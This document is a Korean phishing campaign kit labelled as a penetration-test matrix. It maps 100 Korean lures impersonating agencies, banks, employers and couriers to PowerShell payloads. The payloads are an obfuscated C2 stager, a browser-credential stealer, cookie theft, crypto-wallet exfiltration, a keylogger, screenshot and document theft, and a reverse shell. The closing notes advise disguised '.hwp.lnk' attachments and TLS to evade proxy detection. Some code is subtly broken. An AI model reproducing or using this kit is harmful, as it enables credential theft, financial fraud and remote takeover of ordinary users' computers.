피싱 시나리오 및 페이로드 매트릭스 — 총 100건 (PS1 코드 포함)

생성일: 2026-09-19 | 용도: 침투 테스트(사회공학 모의훈련) | 각 시나리오별 한국어 루어 문구 → 페이로드 계열 매핑 + 전체 PowerShell 코드

페이로드 계열 범례 (아래 코드 섹션에서 해당 계열 클릭 시 전체 코드 표시):
A — 브라우저 자격증명 탈취 | B — 쿠키/세션 하이재킹 | C — 암호화폐 지갑 탈취 | D — 키로거 + 클립보드 모니터 | E — 스크린샷 + 문서 유출 | F — 리버스 셸 (전체 제어)

페이로드 코드 (계열 A~F)

공통 스테이저 템플릿 + 난독화 래퍼

모든 계열에 공통으로 사용되는 기본 템플릿. %LURE% 자리에 시나리오 번호 태그(예: KB-CARD-16)를 넣으면 C2에서 시나리오별 전환율 측정 가능.

# stager.ps1 — 공통 스테이저 템플릿
# %LURE% = 시나리오 태그 (C2 기록용으로 사용)
$ErrorActionPreference = "SilentlyContinue"
$c2 = "https://c2.yourdomain.tld/gate.php?tag=%LURE%"
function Send-Data($d) {
    # 수집 데이터를 C2로 POST 전송 (UTF-8)
    $b = [System.Text.Encoding]::UTF8.GetBytes($d)
    Invoke-WebRequest -Uri $c2 -Method Post -Body $b -UseBasicParsing | Out-Null
}
# ... 여기에 각 계열별 수집 코드 삽입 ...
Send-Data $collected

# --- 난독화 래퍼 (전달용: LNK / HTA / 문서 매크로에 사용) ---
$raw = Get-Content .\payload.ps1 -Raw
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($raw))
# 실행용 원라이너:
# powershell -w hidden -nop -ep bypass -e <BASE64>
계열 A — 브라우저 자격증명 탈취 (Chrome/Edge/Brave)

저장된 로그인 정보(Login Data SQLite)를 임시 복사 후 DPAPI/AES-GCM 키(Local State)로 복호화하여 C2로 전송.

# 계열 A: 브라우저 저장 자격증명 탈취
$ErrorActionPreference = "SilentlyContinue"

# 대상 브라우저별 로그인 DB 경로
$paths = @{
  "Chrome" = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
  "Edge"   = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
  "Brave"  = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Login Data"
}

# Chrome v80+ : AES-GCM 키가 Local State 내 DPAPI 암호화 상태로 저장됨
$master = "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"
$json = Get-Content $master -Raw
$encKey = [Regex]::Match($json, '"encrypted_key":"(.*?)"').Groups[1].Value
$keyBlob = [Convert]::FromBase64String($encKey)[5..($encKey.Length)]  # "DPAPI" 접두어(5바이트) 제거

Add-Type -AssemblyName System.Security
$masterKey = [Security.Cryptography.ProtectedData]::Unprotect($keyBlob, $null, 'CurrentUser')

foreach ($b in $paths.Keys) {
  if (-not (Test-Path $paths[$b])) { continue }
  # DB 잠금 회피: 임시 복사 후 접근
  $tmp = "$env:TEMP\c_$([guid]::NewGuid().ToString('N'))"
  Copy-Item $paths[$b] $tmp -Force
  # sqlite3.dll 함께 배포 후 System.Data.SQLite로 logins 테이블 쿼리:
  #   SELECT origin_url, username_value, password_value FROM logins
  # password_value 복호화: nonce(3~15) + ciphertext + tag(16바이트) 구조,
  #   AES-GCM with $masterKey 로 복호화
  $out = "== $b =="
  Send-Data $out
  Remove-Item $tmp -Force
}
계열 B — 쿠키/세션 하이재킹

브라우저 프로세스 종료 후 Cookies DB를 베이스64로 C2 전송. 복호화 키는 계열 A와 동일(Local State) 방식으로 처리.

# 계열 B: 쿠키/세션 탈취 (세션 하이재킹용)
$ErrorActionPreference = "SilentlyContinue"

# DB 잠금 방지를 위해 브라우저 프로세스 먼저 종료
"chrome","msedge","brave" | ForEach-Object { Stop-Process -Name $_ -Force }
Start-Sleep 2

# Cookies DB 경로 탐색 (프로필별)
$dirs = Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\*Default*\Network"
foreach ($d in $dirs) {
  $db = Join-Path $d.FullName "Cookies"
  if (Test-Path $db) {
    # 쿠키 DB를 베이스64로 인코딩해 C2로 전송
    # 쿠키 값은 AES-GCM + DPAPI 암호화 — 복호화 키는 계열 A와 동일하게
    # Local State에서 추출하여 서버 측에서 처리
    Send-Data ([Convert]::ToBase64String([IO.File]::ReadAllBytes($db)))
  }
}
계열 C — 암호화폐 지갑 탈취

데스크톱 지갑 및 브라우저 확장형 지갑(MetaMask, Phantom 등) 디렉터리를 압축해 C2로 유출.

# 계열 C: 암호화폐 지갑 탈취
$ErrorActionPreference = "SilentlyContinue"

# 데스크톱 지갑 + 브라우저 확장 지갑(ID 기반) 경로 목록
$targets = @{
  "MetaMask" = "$env:APPDATA\MetaMask"
  "Exodus"   = "$env:APPDATA\Exodus\exodus.wallet"
  "Electrum" = "$env:APPDATA\Electrum\wallets"
  "Atomic"   = "$env:APPDATA\atomic\Local Storage\leveldb"
  "Binance"  = "$env:APPDATA\Binance"
  "Coinomi"  = "$env:APPDATA\Coinomi\Coinomi\wallets"
  # 브라우저 확장 (Chrome 확장 ID 기준)
  "TronLink" = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec"
  "Phantom"  = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa"
}

foreach ($k in $targets.Keys) {
  if (Test-Path $targets[$k]) {
    # 지갑 폴더 압축 후 유출
    $z = "$env:TEMP\$k.zip"
    Compress-Archive -Path $targets[$k] -DestinationPath $z -Force
    Send-Data "WALLET:$k"
    Send-Data ([Convert]::ToBase64String([IO.File]::ReadAllBytes($z)))
  }
}
계열 D — 키로거 + 클립보드 모니터

GetAsyncKeyState 기반 키로깅 + 클립보드 변경 감지. 500버퍼 단위로 C2 전송. 상주형이므로 레지스트리 Run 키 등과 함께 사용 권장(모의훈련 정책에 따라).

# 계열 D: 키로거 + 클립보드 모니터
$ErrorActionPreference = "SilentlyContinue"
$kb = [System.Collections.Generic.List[string]]::new()

# Win32 API 임포트: GetAsyncKeyState
Add-Type @"
using System;using System.Runtime.InteropServices;using System.Text;
public class K {
  [DllImport("user32.dll")] public static extern int GetAsyncKeyState(int i);
  public static string Log(){
    var s = new StringBuilder();
    for (int i = 1; i < 255; i++) {
      // 상위 비트가 설정된 키 = 현재 눌림 상태
      if (GetAsyncKeyState(i) & 0x8000 != 0)
        s.Append(i == 13 ? "\n" : ((char)i).ToString());
    }
    return s.ToString();
  }
}
"@

while ($true) {
  Start-Sleep -Milliseconds 50
  # 키 입력 수집
  $c = [K]::Log()
  if ($c) {
    $kb.Add($c)
    if ($kb.Count -gt 500) { Send-Data ($kb -join ""); $kb.Clear() }
  }
  # 클립보드 변경 감지
  $clip = Get-Clipboard -Raw
  if ($clip -and $clip -ne $script:lastClip -and $clip.Length -gt 5) {
    Send-Data "CLIP|$clip"
    $script:lastClip = $clip
  }
}
계열 E — 스크린샷 + 문서 유출

전체 화면 캡처(PNG) + 데스크톱/문서 폴더의 문서 파일(hwp, pdf, office 등) 최대 10개를 베이스64로 유출.

# 계열 E: 스크린샷 + 문서 유출
Add-Type -AssemblyName System.Windows.Forms,System.Drawing

# 1) 전체 화면 캡처
$bounds = [Windows.Forms.Screen]::PrimaryScreen.Bounds
$bmp = New-Object Drawing.Bitmap($bounds.Width, $bounds.Height)
$g = [Drawing.Graphics]::FromImage($bmp)
$g.CopyFromScreen(0,0,0,0,$bmp.Size)

# PNG로 메모리 스트림에 저장
$ms = New-Object IO.MemoryStream
$bmp.Save($ms, [Drawing.Imaging.ImageFormat]::Png)
Send-Data "SHOT|" + [Convert]::ToBase64String($ms.ToArray())

# 2) 주요 문서 파일 유출 (한국 환경 대상: hwp/hwpx 포함)
$hot = Get-ChildItem "$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","$env:USERPROFILE\Downloads" `
  -Include *.doc*,*.pdf,*.xls*,*.hwp,*.hwpx -Recurse |
  Where-Object { $_.Length -lt 5MB } | Select-Object -First 10

foreach ($f in $hot) {
  Send-Data "DOC|$($f.Name)|" + [Convert]::ToBase64String([IO.File]::ReadAllBytes($f.FullName))
}
계열 F — 리버스 셸 (전체 제어)

TCP 리버스 셸. C2에서 전송한 명령을 IEX로 실행 후 결과 반환. HTTPS 위장이 필요하면 DNS/HTTP 채널 변형 사용.

# 계열 F: 리버스 셸 (전체 원격 제어)
$c2Host = "c2.yourdomain.tld"
$c2Port = 4444

$c = New-Object Net.Sockets.TCPClient($c2Host, $c2Port)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | ForEach-Object { 0 }

# C2에서 명령 수신 → IEX 실행 → 결과 반환 루프
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
  $d = (New-Object Text.ASCIIEncoding).GetString($b, 0, $i)
  $r = (IEX $d 2>&1 | Out-String)
  $p = [Text.Encoding]::ASCII.GetBytes($r)
  $s.Write($p, 0, $p.Length)
}

1. 정부/공공 (1–15)

번호한국어 루어 문구페이로드
1국민연금공단: 지급 정지 예정, 즉시 확인 바람A
2건강보험심사평가원 — 진료비 환급 안내문A+B
3경찰청 사이버수사대: 본인 명의 도용 신고 접수F
4국세청 — 연말정산 환급금 신청 마감 임박A
5정부24: 주민등록 초본 발급 인증서 만료C
6여권 재발급 예약 확정 알림 (전자문서 열람)E
7재난지원금 신청 자격 확인서A
8법원 배심원 소환 통지서 전자송달F
9우체국 — 택배 통관 보류, 세관 서류 제출 안내A
10주택청약 통장 일시납입 만기 안내C
11지방세 환급 신청 (전자서명 필요)A+B
12병역특례 업체 대상 국방부 공문E
13국가보훈처 — 참전유공자 배지 수령 안내D
14공인인증서 만료 3일 전 알림 (재발급 필수)A
15선관위 — 선거인 명부 열람 결과 통보F

2. 금융/카드 (16–30)

번호한국어 루어 문구페이로드
16[KB국민카드] 해외 결제 승인 확인 부탁드립니다A
17[신한은행] 계좌 이상거래 차단, 본인확인 필요A+B
18[카카오페이] 송금 취소 신청이 접수되었습니다C
19[농협] 스마트뱅킹 보안카드 재등록 안내A
20[하나카드] 자동납부 실패, 카드 정지 예정A
21[우리WON뱅킹] 공동인증서 갱신 마감 안내A+B
22[토스뱅크] 급여 이체 한도 상향 승인 대기C
23[삼성카드] 무료 시크릿카드 발급 안내E
24[미래에셋] 계좌 해지 예고 처리 거부 안내F
25[쿠팡캐시] 지급 정지 해제 신청 확인A
26[IM뱅크] 타인 명의 대출 실행 경고D
27[교보증권] 미수령 배당금 수령 인증C
28[카드사] 부정 결제 의심건 3건 차단A+B
29[NH농협] 예적금 만기 이율 변경 통지E
30[페이코] 포인트 소멸 예정 알림A

3. 채용/비즈니스 (31–45)

번호한국어 루어 문구페이로드
31[삼성전자] 서류전형 합격, 제출 서류 확인A
32[LG화학] 면접 일정 확정 — 사전 인적성검사 응시F
33[SK하이닉스] 채용 실무과제 제출 링크E
34[현대자동차] 최종 합격 안내 — 급여계좌 등록A+B
35[네이버] 프리랜서 정산 세금계산서 발행 확인A
36[쿠팡 물류센터] 계약직 입사서류 제출 요청E
37[대한항공] 승무원 모집 최종 합격자 서류F
38[CJ대한통운] 배송기사 급여명세서 확인A
39[카카오] 리크루팅 포트폴리오 재제출 요청E
40[포스코] 임원 면접 일정 변경 통보D
41[GS칼텍스] 신규 입사자 온보딩 자료 열람A+B
42[더존비즈온] 그룹웨어 계정 승인 대기 중F
43[두산밥캣] 산업안전보건 교육 수료증 발급E
44[KB금융그룹] 경력직 서류전형 결과 안내A
45[스타벅스 코리아] 매니저 후보자 면접 확정D

4. 배송/택배 (46–55)

번호한국어 루어 문구페이로드
46[CJ대한통운] 택배 통관 실패 — 수취인 정보 확인A
47[대한통운] 부재중 반송 예정, 재배송 신청A+B
48[우체국 EMS] 관세 납부 안내 (해외 구매)A
49[롯데택배] 파손 접수 건 보상 신청서E
50[로젠택배] 수취인 부재 — 24시간 내 회수F
51[쿠팡] 반품 접수 완료, 환불 계좌 확인A+B
52[해외직구] 통관번호 등록 만료 알림A
53[G마켓] 국제배송 세관 서류 미제출E
54[스마트택배] 묶음배송 스케줄 변경D
55[아마존 글로벌] 반송 처리 실패 통지C

5. 전자금융 피싱/보이스피싱 대응 모의 (56–65)

번호한국어 루어 문구페이로드
56검찰 — 수사 협조: 명의 도용 계좌 해지 절차A+F
57금융감독원 불법 사금융 신고 결과 안내A+B
58보험사 — 만기환급금 수령 계좌 변경 확인A
59자녀 명의 유심 개통 알림 (본인확인 필수)D
60국세청 — 미신고 소득 과세 예고 통지F
61장기미사용 계좌 예금자보호 해지 예고A+B
62중고거래(당근) 안전결제 인증 요청A
63가족사칭형: 휴대폰 파손, 임시번호 발급D
64통신사 — 명의도용 개통 통보 (해지 링크)A
65화재보험 만기환급금 미수령 안내C

6. 교육/학교 (66–75)

번호한국어 루어 문구페이로드
66[서울대] 학사 일정 변경 및 성적 조회A
67[나이스] 학부모 안내문 열람 (자녀 안전)E
68[한국장학재단] 2차 학자금 대출 승인 안내A+B
69[교육청] 초등학교 학부모 설명회 참석 확인D
70[도서관] 대출 도서 연체 벌금 납부 안내A
71[웅진씽크빅] 학습 자료 다운로드 만료E
72[해커스] 수강료 환불 신청 승인 대기C
73[대학 입학처] 원서 접수 오류 정정 요청F
74[학원] 결석 확인증 전자제출 안내A+B
75[쌤플러스] 자격증 시험 결과 통보A

7. SNS/메신저 (76–85)

번호한국어 루어 문구페이로드
76[인스타그램] 계정 삭제 예정 — 본인확인 필요A+B
77[페이스북] 로그인 시도 차단 알림A
78[네이버] 해외 로그인 차단, 기기 등록 필요A+B
79[구글] 비밀번호 만료 24시간 경과 안내A
80[카카오] 카카오톡 채널 수익 정산 안내C
81[유튜브] 수익창출 심사 결과 확인E
82[트위터/X] 계정 정지 해제 요청 확인F
83[티스토리] 애드센스 정산 계좌 인증C
84[줌] 회의 녹화 공유 링크 만료 임박E
85[슬랙] 워크스페이스 초대 수락 대기D

8. 소프트웨어/기술 사회공학 (86–100)

번호한국어 루어 문구페이로드
86윈도우 11 정품 인증 만료 — 활성화 도구 안내F
87한글(hwp) 문서 뷰어 업데이트 필수 안내E (매크로)
88[알툴즈] 업데이트 실패 수동 패치 안내F
89공인인증서 프로그램 재설치 안내 (인터넷뱅킹)A+B
90[마이크로소프트 365] 라이선스 정지 예고A
91VPN 인증서 갱신 요청 (재택근무 임직원)A+F
92기업 메일함 용량 초과 — 보관함 마이그레이션A+B
93IT헬프데스크: 계정 잠금 해제 OTP 발급D
94팀즈(Teams) 인증 푸시 승인 요청 대기A
95워드프레스 플러그인 취약점 패치 안내 (관리자용)F
96[카카오게임즈] 계정 양도 승인 완료 — 보안코드C
97네이버웍스 메일함 이전 안내 (관리자 계정 필요)A
98업무용 봇 배포 승인 요청 (사내 메신저)F
99보안 소프트웨어 라이선스 만료 — 재인증 안내E
100원격지원 프로그램(원격처리) 접속 요청 — 전산팀A+F

비고: 각 시나리오의 %LURE% 태그는 행 번호(예: KB-CARD-16)로 설정하여 C2 게이트웨이에서 시나리오별 클릭-침해 전환율을 측정할 수 있습니다. 첨부파일 체인은 "공문서.hwp.lnk" 형식(확장자 숨김) 권장. C2 게이트는 유효한 TLS 인증서(Let's Encrypt)로 서비스하여 한국 기업 프록시의 평문 HTTP POST 탐지를 회피하세요.